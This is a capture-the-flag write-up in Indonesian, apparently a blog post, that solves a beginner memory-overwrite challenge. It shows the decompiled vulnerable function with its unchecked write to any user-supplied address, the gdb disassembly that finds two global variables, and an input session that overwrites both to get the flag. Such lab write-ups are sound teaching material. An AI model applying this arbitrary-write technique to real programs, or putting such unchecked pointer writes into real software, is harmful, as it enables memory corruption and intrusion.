Overwriting Game (50pts)
I love this game very mucho ~
Connect: nc 103.200.7.150 6666
Connect: nc 103.200.7.150 6666
7568227b11cd1062d7e9a7b9d34ac630
v Deskripsi
Peserta diberi file binary dan sebuah akses ke server
v Penyelesaian
Pertama kita analisa file binary tersebut dengan menggunakan ida untuk mempermudah dan melihat apa yang terjadi.
int the_game()
{
int result; // eax@1
int v1; // [sp+10h] [bp-18h]@4
_DWORD *v2; // [sp+14h] [bp-14h]@4
int v3; // [sp+18h] [bp-10h]@1
int i; // [sp+1Ch] [bp-Ch]@1
v3 = 2;
i = 0;
printf("Pin 1: %p\n", pin_1);
printf("Pin 2: %p\n", pin_2);
puts("Selamat datang di overwriting game ...");
fflush(stdout);
result = pin_1;
if ( pin_1 == 0xDEADF00D )
{
result = pin_2;
if ( pin_2 == 0xFBADBEEF )
{
for ( i = 0; i < v3; ++i )
{
printf("Alamat mana yang akan di-overwrite? ");
fflush(stdout);
__isoc99_scanf("%p", &v2);
printf("Masukan nilai: ");
fflush(stdout);
__isoc99_scanf("%p", &v1);
printf("Overwrite %p ke %p...\n", v1, v2);
fflush(stdout);
*v2 = v1;
puts("Berhasil melakukan overwriting!");
fflush(stdout);
printf("Pin 1: %p\n", pin_1);
printf("Pin 2: %p\n", pin_2);
fflush(stdout);
}
if ( pin_1 != 0xDEADF00D && pin_2 != 0xFBADBEEF && pin_1 == pin_2 )
{
puts("Mantap, ambil flagnya!");
fflush(stdout);
system("cat flag.txt");
exit(0);
}
puts("Oops, gagal melakukan overwriting!");
result = fflush(stdout);
}
}
return result;
}
Disana terlihat jika kita berhasil mengoverwrite address pin_1 dan pin_2 kita akan mendapatkan flagnya mari kita cari addressnya dengan gdb.
0x080485a4 <+87>: mov eax,ds:0x804a034
0x080485a9 <+92>: cmp eax,0xdeadf00d
0x080485ae <+97>: jne 0x8048728 <the_game+475>
0x080485b4 <+103>: mov eax,ds:0x804a038
0x080485b9 <+108>: cmp eax,0xfbadbeef
Pin_1 pada address 0x804a034 dan pin_2 0x804a038 kita masukkan nilai yang sama.
Pin 1: 0xdeadf00d
Pin 2: 0xfbadbeef
Selamat datang di overwriting game ...
Alamat mana yang akan di-overwrite? 0x804a034
Masukan nilai: a
Overwrite 0xa ke 0x804a034...
Berhasil melakukan overwriting!
Pin 1: 0xa
Pin 2: 0xfbadbeef
Alamat mana yang akan di-overwrite? 0x804a038
Masukan nilai: a
Overwrite 0xa ke 0x804a038...
Berhasil melakukan overwriting!
Pin 1: 0xa
Pin 2: 0xa
Mantap, ambil flagnya!
SlashRootCTF{overwrite_meh_like_a_b0$$}
Flag dari tantangan ini SlashRootCTF{overwrite_meh_like_a_b0$$}.
0 comments:
Post a Comment